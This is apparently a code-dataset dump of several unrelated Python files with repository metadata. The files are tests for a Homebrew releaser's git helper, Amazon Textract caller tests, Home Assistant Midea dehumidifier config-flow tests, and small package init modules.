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' di = di.replace('data:image/png;base64,'.encode(), ''.encode()) print(di)

507.461538

6,414

0.957253

198

6,597

31.893939

0.924242

0.00285

0.0038

0.005701

0

0.137789

0.004396

6,597

12

6,415

549.75

0.823691

0.009853

0

0.166667

0.984531

0

1

0

1

0

false

0

0.5

0

0.5

0.166667

0

1

null

0

1

0

1

null

1

0

1

0

7

a2ba0d266cf10b11713ee125f9b02e8b83647e64

5,177

py

Python

test/unit/test_git.py

Justintime50/shell-releaser

52ceaef1bdbd4f94bd993817471a39415aa858d0

[ "MIT" ]

7

2021-01-20T09:14:06.000Z

2022-02-05T18:11:09.000Z

test/unit/test_git.py

Justintime50/shell-releaser

52ceaef1bdbd4f94bd993817471a39415aa858d0

[ "MIT" ]

5

2021-04-02T02:42:12.000Z

2022-02-19T22:15:47.000Z

test/unit/test_git.py

Justintime50/shell-releaser

52ceaef1bdbd4f94bd993817471a39415aa858d0

[ "MIT" ]

2

2022-01-01T17:43:54.000Z

2022-03-22T18:11:20.000Z

import subprocess from unittest.mock import patch import pytest from homebrew_releaser.constants import SUBPROCESS_TIMEOUT from homebrew_releaser.git import Git @patch('homebrew_releaser.git.GITHUB_TOKEN', '123') @patch('subprocess.check_output') def test_setup(mock_subprocess): # TODO: Mock the subprocess better to ensure it does what it's supposed to homebrew_owner = 'Justintime50' homebrew_tap = 'homebrew-formulas' commit_email = 'user@example.com' Git.setup(homebrew_owner, commit_email, homebrew_owner, homebrew_tap) mock_command = ( f'git clone --depth=2 https://123@github.com/{homebrew_owner}/{homebrew_tap}.git' f' && cd {homebrew_tap}' f' && git config user.name "{homebrew_owner}"' f' && git config user.email {commit_email}' ) mock_subprocess.assert_called_once_with( mock_command, stdin=None, stderr=None, shell=True, timeout=SUBPROCESS_TIMEOUT, ) @patch('subprocess.check_output', side_effect=subprocess.TimeoutExpired(cmd=subprocess.check_output, timeout=0.1)) def test_setup_subprocess_timeout(mock_subprocess): homebrew_owner = 'Justintime50' homebrew_tap = 'homebrew-formulas' commit_email = 'user@example.com' with pytest.raises(SystemExit): Git.setup(homebrew_owner, commit_email, homebrew_owner, homebrew_tap) @patch('subprocess.check_output', side_effect=subprocess.CalledProcessError(returncode=1, cmd=subprocess.check_output)) def test_setup_process_error(mock_subprocess): homebrew_owner = 'Justintime50' homebrew_tap = 'homebrew-formulas' commit_email = 'user@example.com' with pytest.raises(SystemExit): Git.setup(homebrew_owner, commit_email, homebrew_owner, homebrew_tap) @patch('subprocess.check_output') def test_add(mock_subprocess): # TODO: Mock the subprocess better to ensure it does what it's supposed to homebrew_tap = 'homebrew-formulas' Git.add(homebrew_tap) mock_subprocess.assert_called_once_with( f'cd {homebrew_tap} && git add .', stdin=None, stderr=None, shell=True, timeout=SUBPROCESS_TIMEOUT, ) @patch('subprocess.check_output', side_effect=subprocess.TimeoutExpired(cmd=subprocess.check_output, timeout=0.1)) def test_add_subprocess_timeout(mock_subprocess): homebrew_tap = 'homebrew-formulas' with pytest.raises(SystemExit): Git.add(homebrew_tap) @patch('subprocess.check_output', side_effect=subprocess.CalledProcessError(returncode=1, cmd=subprocess.check_output)) def test_add_process_error(mock_subprocess): homebrew_tap = 'homebrew-formulas' with pytest.raises(SystemExit): Git.add(homebrew_tap) @patch('subprocess.check_output') def test_commit(mock_subprocess): # TODO: Mock the subprocess better to ensure it does what it's supposed to homebrew_tap = 'homebrew-formulas' repo_name = 'mock-repo' version = '0.1.0' Git.commit(homebrew_tap, repo_name, version) mock_subprocess.assert_called_once_with( f'cd {homebrew_tap} && git commit -m "Brew formula update for {repo_name} version {version}"', stdin=None, stderr=None, shell=True, timeout=SUBPROCESS_TIMEOUT, ) @patch('subprocess.check_output', side_effect=subprocess.TimeoutExpired(cmd=subprocess.check_output, timeout=0.1)) def test_commit_subprocess_timeout(mock_subprocess): homebrew_tap = 'homebrew-formulas' repo_name = 'mock-repo' version = '0.1.0' with pytest.raises(SystemExit): Git.commit(homebrew_tap, repo_name, version) @patch('subprocess.check_output', side_effect=subprocess.CalledProcessError(returncode=1, cmd=subprocess.check_output)) def test_commit_process_error(mock_subprocess): homebrew_tap = 'homebrew-formulas' repo_name = 'mock-repo' version = '0.1.0' with pytest.raises(SystemExit): Git.commit(homebrew_tap, repo_name, version) @patch('homebrew_releaser.git.GITHUB_TOKEN', '123') @patch('subprocess.check_output') def test_push(mock_subprocess): # TODO: Mock the subprocess better to ensure it does what it's supposed to homebrew_tap = 'homebrew-formulas' homebrew_owner = 'Justintime50' Git.push(homebrew_tap, homebrew_owner) mock_subprocess.assert_called_once_with( f'cd {homebrew_tap} && git push https://123@github.com/{homebrew_owner}/{homebrew_tap}.git', stdin=None, stderr=None, shell=True, timeout=SUBPROCESS_TIMEOUT, ) @patch('subprocess.check_output', side_effect=subprocess.TimeoutExpired(cmd=subprocess.check_output, timeout=0.1)) def test_push_subprocess_timeout(mock_subprocess): homebrew_tap = 'homebrew-formulas' homebrew_owner = 'Justintime50' with pytest.raises(SystemExit): Git.push(homebrew_tap, homebrew_owner) @patch('subprocess.check_output', side_effect=subprocess.CalledProcessError(returncode=1, cmd=subprocess.check_output)) def test_push_process_error(mock_subprocess): homebrew_tap = 'homebrew-formulas' homebrew_owner = 'Justintime50' with pytest.raises(SystemExit): Git.push(homebrew_tap, homebrew_owner)

33.836601

119

0.734595

650

5,177

5.606154

0.12

0.09056

0.115258

0.08562

0.906147

0.898189

0.870472

0.854007

0.82629

0.802141

0

0.010589

0.160904

5,177

152

120

34.059211

0.828269

0.05621

0

0.723214

0

0.008929

0.226593

0.070477

0

0.006579

0.035714

1

0.107143

false

0

0.044643

0

0.151786

0

null

0

1

0

1

0

null

0

7

a2d33c9670c8d6676f508fa3a9802c9afb036815

164

py

Python

pycor/std/collocation.py

ontolog-so/pycor

25820c1e48c3cad279baea87bc0c21bf508f99b5

[ "BSD-3-Clause" ]

2

2018-08-25T16:18:52.000Z

2022-01-09T12:40:13.000Z

pycor/std/collocation.py

ontolog-so/pycor

25820c1e48c3cad279baea87bc0c21bf508f99b5

[ "BSD-3-Clause" ]

null

pycor/std/collocation.py

ontolog-so/pycor

25820c1e48c3cad279baea87bc0c21bf508f99b5

[ "BSD-3-Clause" ]

null

import pycor.morpheme as lm import pycor.speechmodel as sm import pycor.korutils import pycor.kormorpheme as klm import pycor.korutils import pycor.std.aux as aux

20.5

31

0.829268

27

164

5.037037

0.444444

0.485294

0.279412

0.367647

0.441176

0

0.128049

164

7

32

23.428571

0.951049

0

0.333333

0

1

0

true

0

1

0

1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

1

0

8

a2d482bac708980d0167fc4132eeb28a695d0f47

3,263

py

Python

caller/tests/test_caller.py

ArlindNocaj/amazon-textract-textractor

55ff9269ec72629e93ff2f1be5b4aa27ccca61c8

[ "Apache-2.0" ]

null

caller/tests/test_caller.py

ArlindNocaj/amazon-textract-textractor

55ff9269ec72629e93ff2f1be5b4aa27ccca61c8

[ "Apache-2.0" ]

null

caller/tests/test_caller.py

ArlindNocaj/amazon-textract-textractor

55ff9269ec72629e93ff2f1be5b4aa27ccca61c8

[ "Apache-2.0" ]

null

from textractcaller import call_textract from trp import Document import pytest import logging import os import boto3 def test_get_full_json_from_file_and_bytes(caplog): caplog.set_level(logging.DEBUG, logger="textractcaller") SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__)) input_file = os.path.join(SCRIPT_DIR, "data/employmentapp.png") with open(input_file, "rb") as sample_file: b = bytearray(sample_file.read()) j = call_textract(input_document=b) assert j doc = Document(j) assert doc with open(input_file, "rb") as sample_file: b = sample_file.read() j = call_textract(input_document=b) assert j doc = Document(j) assert doc def test_tiff_sync(caplog): caplog.set_level(logging.DEBUG, logger="textractcaller") SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__)) input_file = os.path.join(SCRIPT_DIR, "data/employmentapp.tiff") j = call_textract(input_document=input_file) assert j assert 'Blocks' in j assert len(j['Blocks']) == 103 doc = Document(j) assert doc def test_tiff_async(caplog): caplog.set_level(logging.DEBUG, logger="textractcaller") textract_client = boto3.client('textract', region_name='us-east-2') input_file = os.path.join("s3://amazon-textract-public-content/blogs/employmentapp_20210510_compressed.tiff") j = call_textract(input_document=input_file, force_async_api=True, boto3_textract_client=textract_client) assert j assert 'Blocks' in j assert len(j['Blocks']) == 103 doc = Document(j) assert doc def test_tiff_async_multipage(caplog): caplog.set_level(logging.DEBUG, logger="textractcaller") textract_client = boto3.client('textract', region_name='us-east-2') input_file = os.path.join("s3://amazon-textract-public-content/blogs/multipage_tiff_example_small.tiff") j = call_textract(input_document=input_file, force_async_api=True, boto3_textract_client=textract_client) assert j assert 'Blocks' in j assert len(j['Blocks']) == 260 doc = Document(j) assert doc # multipage not supported on sync def test_tiff_sync_multipage(caplog): caplog.set_level(logging.DEBUG, logger="textractcaller") textract_client = boto3.client('textract', region_name='us-east-2') input_file = os.path.join("s3://amazon-textract-public-content/blogs/multipage_tiff_example_small.tiff") with pytest.raises(textract_client.exceptions.UnsupportedDocumentException): call_textract(input_document=input_file, boto3_textract_client=textract_client) def test_tiff_compressed_sync(caplog): caplog.set_level(logging.DEBUG, logger="textractcaller") SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__)) input_file = os.path.join(SCRIPT_DIR, "data/employmentapp.tiff") j = call_textract(input_document=input_file) assert j assert 'Blocks' in j assert len(j['Blocks']) == 103 doc = Document(j) assert doc with open(input_file, "rb") as sample_file: b = bytearray(sample_file.read()) j = call_textract(input_document=b) assert j assert 'Blocks' in j assert len(j['Blocks']) == 103 doc = Document(j) assert doc

35.467391

113

0.714373

450

3,263

4.937778

0.173333

0.053555

0.061206

0.090009

0.863636

0.839334

0.824032

0.819082

0

0.013378

0.175299

3,263

91

114

35.857143

0.812337

0.0095

0

0.763158

0

0.154489

0.09226

0

0.315789

1

0.078947

false

0

0.078947

0

0.157895

0

null

0

1

0

1

0

null

0

7

a2e54ff511c79b93a5485e6a8a4764df03ccb0d6

13,739

py

Python

tests/test_config_flow.py

nbogojevic/homeassistant-midea-dehumidifier-lan

8e920a75365b777b7e4c01ea2cbb35bce8fd1ff8

[ "MIT" ]

18

2021-12-22T09:26:35.000Z

2022-01-09T13:06:24.000Z

tests/test_config_flow.py

nbogojevic/homeassistant-midea-dehumidifier-lan

8e920a75365b777b7e4c01ea2cbb35bce8fd1ff8

[ "MIT" ]

26

2021-12-22T09:23:13.000Z

2022-01-16T01:59:52.000Z

tests/test_config_flow.py

nbogojevic/midea-dehumidifier-lan

e43ea15af7591583ec19fd79578de99e91cedd31

[ "MIT" ]

1

2022-03-21T20:59:33.000Z

"""Test integration configuration flow""" # pylint: disable=unused-argument from typing import Any from unittest.mock import patch from homeassistant import config_entries, data_entry_flow from homeassistant.const import ( CONF_PASSWORD, CONF_USERNAME, CONF_INCLUDE, CONF_BROADCAST_ADDRESS, ) from homeassistant.core import HomeAssistant from pytest_homeassistant_custom_component.common import MockConfigEntry from custom_components.midea_dehumidifier_lan.config_flow import MideaConfigFlow from custom_components.midea_dehumidifier_lan.const import ( CONF_ADVANCED_SETTINGS, CONF_MOBILE_APP, DEFAULT_APP, DOMAIN, ) MOCK_BASIC_CONFIG_PAGE = { CONF_USERNAME: "test_username", CONF_PASSWORD: "test_password", CONF_MOBILE_APP: DEFAULT_APP, } async def test_show_form(hass): """Test that the form is served with no input.""" flow = MideaConfigFlow() flow.hass = hass result: data_entry_flow.FlowResult = await flow.async_step_user(user_input=None) print(result) # pyright: reportTypedDictNotRequiredAccess=false assert result["type"] == data_entry_flow.RESULT_TYPE_FORM assert result["step_id"] == "user" async def test_successful_config_flow(hass: HomeAssistant, midea_single_appliances): """Test a successful config flow.""" # Initialize a config flow result = await hass.config_entries.flow.async_init( DOMAIN, context={"source": config_entries.SOURCE_USER} ) # Check that the config flow shows the user form as the first step assert result["type"] == data_entry_flow.RESULT_TYPE_FORM assert result["step_id"] == "user" result = await hass.config_entries.flow.async_configure( result["flow_id"], user_input=MOCK_BASIC_CONFIG_PAGE ) # Check that the config flow is complete and a new entry is created with # the input data assert result["type"] == data_entry_flow.RESULT_TYPE_CREATE_ENTRY assert result["title"] == "Midea Air Appliance (LAN)" assert result["data"][CONF_USERNAME] == MOCK_BASIC_CONFIG_PAGE[CONF_USERNAME] assert result["data"][CONF_PASSWORD] == MOCK_BASIC_CONFIG_PAGE[CONF_PASSWORD] assert len(result["data"]["devices"]) == 1 assert result["result"] async def test_successful_config_flow_midea_two_appliances_only_dehumidifier( hass: HomeAssistant, midea_two_appliances ): """Test a successful config flow.""" # Initialize a config flow result = await hass.config_entries.flow.async_init( DOMAIN, context={"source": config_entries.SOURCE_USER} ) # Check that the config flow shows the user form as the first step assert result["type"] == data_entry_flow.RESULT_TYPE_FORM assert result["step_id"] == "user" result = await hass.config_entries.flow.async_configure( result["flow_id"], user_input=MOCK_BASIC_CONFIG_PAGE ) # Check that the config flow is complete and a new entry is created with # the input data assert result["type"] == data_entry_flow.RESULT_TYPE_CREATE_ENTRY assert result["title"] == "Midea Air Appliance (LAN)" assert result["data"][CONF_USERNAME] == MOCK_BASIC_CONFIG_PAGE[CONF_USERNAME] assert result["data"][CONF_PASSWORD] == MOCK_BASIC_CONFIG_PAGE[CONF_PASSWORD] assert len(result["data"]["devices"]) == 1 assert result["result"] async def test_advanced_settings_config_flow(hass: HomeAssistant): """Test a advanced settings config flow.""" # Initialize a config flow result = await hass.config_entries.flow.async_init( DOMAIN, context={"source": config_entries.SOURCE_USER} ) user_input: dict[str, Any] = {**MOCK_BASIC_CONFIG_PAGE} user_input[CONF_ADVANCED_SETTINGS] = True result = await hass.config_entries.flow.async_configure( result["flow_id"], user_input=user_input ) # Check that the config flow is complete and a new entry is created with # the input data assert result["type"] == data_entry_flow.RESULT_TYPE_FORM assert result["step_id"] == "advanced_settings" values = result["data_schema"]({}) assert values[CONF_USERNAME] == MOCK_BASIC_CONFIG_PAGE[CONF_USERNAME] assert values[CONF_PASSWORD] == MOCK_BASIC_CONFIG_PAGE[CONF_PASSWORD] assert values[CONF_MOBILE_APP] == DEFAULT_APP assert values[CONF_BROADCAST_ADDRESS] == "" assert values[CONF_INCLUDE] == ["0xa1"] async def test_advanced_settings_config_flow_success( hass: HomeAssistant, midea_single_appliances ): """Test a advanced settings config flow.""" result = await hass.config_entries.flow.async_init( DOMAIN, context={"source": config_entries.SOURCE_USER} ) user_input: dict[str, Any] = {**MOCK_BASIC_CONFIG_PAGE} user_input[CONF_ADVANCED_SETTINGS] = True result = await hass.config_entries.flow.async_configure( result["flow_id"], user_input=user_input ) user_input = { CONF_USERNAME: "test_username", CONF_PASSWORD: "test_password", CONF_MOBILE_APP: "MSmartHome", } result = await hass.config_entries.flow.async_configure( result["flow_id"], user_input=user_input ) assert result["type"] == data_entry_flow.RESULT_TYPE_CREATE_ENTRY assert result["title"] == "Midea Air Appliance (LAN)" assert result["data"][CONF_USERNAME] == MOCK_BASIC_CONFIG_PAGE[CONF_USERNAME] assert result["data"][CONF_PASSWORD] == MOCK_BASIC_CONFIG_PAGE[CONF_PASSWORD] assert result["data"][CONF_MOBILE_APP] == "MSmartHome" assert len(result["data"]["devices"]) == 1 assert result["result"] async def test_advanced_settings_config_flow_success_network( hass: HomeAssistant, midea_single_appliances ): """Test a advanced settings config flow.""" result = await hass.config_entries.flow.async_init( DOMAIN, context={"source": config_entries.SOURCE_USER} ) user_input: dict[str, Any] = {**MOCK_BASIC_CONFIG_PAGE} user_input[CONF_ADVANCED_SETTINGS] = True result = await hass.config_entries.flow.async_configure( result["flow_id"], user_input=user_input ) user_input = { CONF_USERNAME: "test_username", CONF_PASSWORD: "test_password", CONF_MOBILE_APP: "MSmartHome", CONF_BROADCAST_ADDRESS: "192.0.2.255", } result = await hass.config_entries.flow.async_configure( result["flow_id"], user_input=user_input ) print(result) assert result["type"] == data_entry_flow.RESULT_TYPE_CREATE_ENTRY assert result["title"] == "Midea Air Appliance (LAN)" assert result["data"] assert result["data"][CONF_USERNAME] == MOCK_BASIC_CONFIG_PAGE[CONF_USERNAME] assert result["data"][CONF_PASSWORD] == MOCK_BASIC_CONFIG_PAGE[CONF_PASSWORD] assert result["data"][CONF_MOBILE_APP] == "MSmartHome" assert result["data"][CONF_BROADCAST_ADDRESS] == ["255.255.255.255", "192.0.2.255"] assert len(result["data"]["devices"]) == 1 assert result["result"] async def test_advanced_settings_config_invalid_network(hass: HomeAssistant): """Test a advanced settings with invalid network.""" result = await hass.config_entries.flow.async_init( DOMAIN, context={"source": config_entries.SOURCE_USER} ) user_input: dict[str, Any] = {**MOCK_BASIC_CONFIG_PAGE} user_input[CONF_ADVANCED_SETTINGS] = True result = await hass.config_entries.flow.async_configure( result["flow_id"], user_input=user_input ) user_input = { CONF_USERNAME: "test_username", CONF_PASSWORD: "test_password", CONF_BROADCAST_ADDRESS: "655.123.123.333", } result = await hass.config_entries.flow.async_configure( result["flow_id"], user_input=user_input ) assert result["type"] == data_entry_flow.RESULT_TYPE_FORM assert result["step_id"] == "advanced_settings" values = result["data_schema"]({}) assert values[CONF_USERNAME] == MOCK_BASIC_CONFIG_PAGE[CONF_USERNAME] assert values[CONF_PASSWORD] == MOCK_BASIC_CONFIG_PAGE[CONF_PASSWORD] assert values[CONF_MOBILE_APP] == "NetHome Plus" assert values[CONF_BROADCAST_ADDRESS] == "655.123.123.333" assert result["description_placeholders"] assert ( result["description_placeholders"].get("cause") == "Octet 655 (> 255) not permitted in '655.123.123.333'" ) assert values[CONF_INCLUDE] == ["0xa1"] async def test_advanced_settings_config_flow_success_use_cloud( hass: HomeAssistant, midea_single_appliances ): """Test a advanced settings config flow.""" result = await hass.config_entries.flow.async_init( DOMAIN, context={"source": config_entries.SOURCE_USER} ) user_input: dict[str, Any] = {**MOCK_BASIC_CONFIG_PAGE} user_input[CONF_ADVANCED_SETTINGS] = True result = await hass.config_entries.flow.async_configure( result["flow_id"], user_input=user_input ) user_input = { CONF_USERNAME: "test_username", CONF_PASSWORD: "test_password", CONF_MOBILE_APP: "MSmartHome", CONF_INCLUDE: ["0xa1", "0xac"], } result = await hass.config_entries.flow.async_configure( result["flow_id"], user_input=user_input ) print(result) assert result["type"] == data_entry_flow.RESULT_TYPE_CREATE_ENTRY assert result["title"] == "Midea Air Appliance (LAN)" assert result["data"][CONF_USERNAME] == MOCK_BASIC_CONFIG_PAGE[CONF_USERNAME] assert result["data"][CONF_PASSWORD] == MOCK_BASIC_CONFIG_PAGE[CONF_PASSWORD] assert result["data"][CONF_MOBILE_APP] == "MSmartHome" assert result["data"][CONF_INCLUDE] == ["0xa1", "0xac"] assert len(result["data"]["devices"]) == 1 assert result["result"] async def test_midea_invalid_auth_config_flow(hass: HomeAssistant, midea_invalid_auth): """Test a invalid username config flow.""" result = await hass.config_entries.flow.async_init( DOMAIN, context={"source": config_entries.SOURCE_USER} ) result = await hass.config_entries.flow.async_configure( result["flow_id"], user_input=MOCK_BASIC_CONFIG_PAGE ) # Check that the config flow is not complete assert result["type"] == data_entry_flow.RESULT_TYPE_FORM assert result["step_id"] == "user" assert result["description_placeholders"] assert ( result["description_placeholders"].get("cause") == "Cloud authentication error: 45 (34)" ) async def test_midea_internal_exception(hass: HomeAssistant, midea_internal_exception): """Test an internal exception in midea communication config flow.""" result = await hass.config_entries.flow.async_init( DOMAIN, context={"source": config_entries.SOURCE_USER} ) result = await hass.config_entries.flow.async_configure( result["flow_id"], user_input=MOCK_BASIC_CONFIG_PAGE ) # Check that the config flow is not complete assert result["type"] == data_entry_flow.RESULT_TYPE_FORM assert result["step_id"] == "user" assert result["description_placeholders"] assert result["description_placeholders"].get("cause") == "midea_internal_exception" async def test_config_flow_no_devices(hass: HomeAssistant, midea_no_appliances): """Test a successful config flow with no devices.""" result = await hass.config_entries.flow.async_init( DOMAIN, context={"source": config_entries.SOURCE_USER} ) result = await hass.config_entries.flow.async_configure( result["flow_id"], user_input=MOCK_BASIC_CONFIG_PAGE ) # Check that the config flow is aborted assert result["type"] == data_entry_flow.RESULT_TYPE_ABORT assert result["reason"] == "no_configured_devices" async def test_step_reauth(hass: HomeAssistant, midea_no_appliances): """Test the reauth flow.""" conf = { CONF_USERNAME: "user@example.com", CONF_PASSWORD: "password", CONF_MOBILE_APP: "MSmartHome", } MockConfigEntry( domain=DOMAIN, unique_id=conf[CONF_USERNAME], data=conf, ).add_to_hass(hass) result = await hass.config_entries.flow.async_init( DOMAIN, context={"source": config_entries.SOURCE_REAUTH}, data=conf, ) assert result["type"] == data_entry_flow.RESULT_TYPE_FORM assert result["step_id"] == "reauth_confirm" with patch("homeassistant.config_entries.ConfigEntries.async_reload"): result = await hass.config_entries.flow.async_configure( result["flow_id"], user_input={CONF_PASSWORD: "password"}, ) assert result["type"] == data_entry_flow.RESULT_TYPE_ABORT assert result["reason"] == "no_configured_devices" assert len(hass.config_entries.async_entries()) == 1 async def test_step_reauth_invalid_password(hass: HomeAssistant, midea_invalid_auth): """Test the reauth flow.""" conf = { CONF_USERNAME: "user@example.com", CONF_PASSWORD: "password", CONF_MOBILE_APP: "MSmartHome", } MockConfigEntry( domain=DOMAIN, unique_id=conf[CONF_USERNAME], data=conf, ).add_to_hass(hass) result = await hass.config_entries.flow.async_init( DOMAIN, context={"source": config_entries.SOURCE_REAUTH}, data=conf, ) assert result["type"] == data_entry_flow.RESULT_TYPE_FORM assert result["step_id"] == "reauth_confirm" with patch("homeassistant.config_entries.ConfigEntries.async_reload"): result = await hass.config_entries.flow.async_configure( result["flow_id"], user_input={CONF_PASSWORD: "password"}, ) assert result["type"] == data_entry_flow.RESULT_TYPE_FORM assert result["step_id"] == "reauth_confirm" assert len(hass.config_entries.async_entries()) == 1

37.848485

88

0.709367

1,728

13,739

5.329861

0.086227

0.079479

0.055375

0.063844

0.879045

0.862432

0.820087

0.810532

0.801303

0

0.008089

0.181163

13,739

362

89

37.953039

0.810578

0.051168

0

0.692857

0

0.124458

0.025695

0

0.001927

0

0.278571

1

0

false

0.064286

0.028571

0

0.028571

0.010714

0

null

0

1

0

null

0

1

0

7

0c1d6181388af216af77ea21d4f6656d75486515

592

py

Python

hexa/ui/datacard/__init__.py

qgerome/openhexa-app

8c9377b2ad972121d8e9575f5d52420212b52ed4

[ "MIT" ]

null

hexa/ui/datacard/__init__.py

qgerome/openhexa-app

8c9377b2ad972121d8e9575f5d52420212b52ed4

[ "MIT" ]

null

hexa/ui/datacard/__init__.py

qgerome/openhexa-app

8c9377b2ad972121d8e9575f5d52420212b52ed4

[ "MIT" ]

null

from .actions import Action from .datacard import Datacard, Section from .properties import ( BooleanProperty, CodeProperty, CountryProperty, DateProperty, LocaleProperty, OwnerProperty, StatusProperty, TagProperty, TextProperty, URLProperty, UserProperty, ) __all__ = [ "Action", "Datacard", "Section", "BooleanProperty", "CodeProperty", "CountryProperty", "DateProperty", "LocaleProperty", "OwnerProperty", "StatusProperty", "TagProperty", "TextProperty", "URLProperty", "UserProperty", ]

